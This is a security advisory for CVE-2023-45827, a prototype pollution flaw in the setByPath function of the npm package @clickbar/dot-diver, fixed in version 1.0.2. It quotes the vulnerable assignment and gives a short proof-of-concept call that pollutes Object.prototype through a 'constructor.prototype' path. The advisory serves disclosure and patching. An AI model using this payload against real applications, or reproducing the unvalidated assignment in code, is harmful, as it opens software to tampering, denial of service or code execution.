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GHSA-9w5f-mw3p-pj47

Prototype Pollution(PP) vulnerability in setByPath

Source: GitHub Advisory Database (reviewed) High CVE-2023-45827

Packages

EcosystemPackageAffectedFixed in
npm @clickbar/dot-diver < 1.0.2 1.0.2

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE. ### Details ```javascript //https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277 // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access objectToSet[lastKey] = value ``` In this code, there is no validation for Prototpye Pollution. ### PoC ```javascript import { getByPath, setByPath } from '@clickbar/dot-diver' console.log({}.polluted); // undefined setByPath({},'constructor.prototype.polluted', 'foo'); console.log({}.polluted); // foo ``` ### Impact It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc. ### Credits Team : NodeBoB 최지혁 ( Jihyeok Choi ) 이동하 ( Lee Dong Ha of ZeroPointer Lab ) 강성현    ( kang seonghyeun ) 박성진    ( sungjin park ) 김찬호    ( Chanho Kim ) 이수영    ( Lee Su Young ) 김민욱    ( MinUk Kim )

References

External links from the advisory. They lead to third-party sites.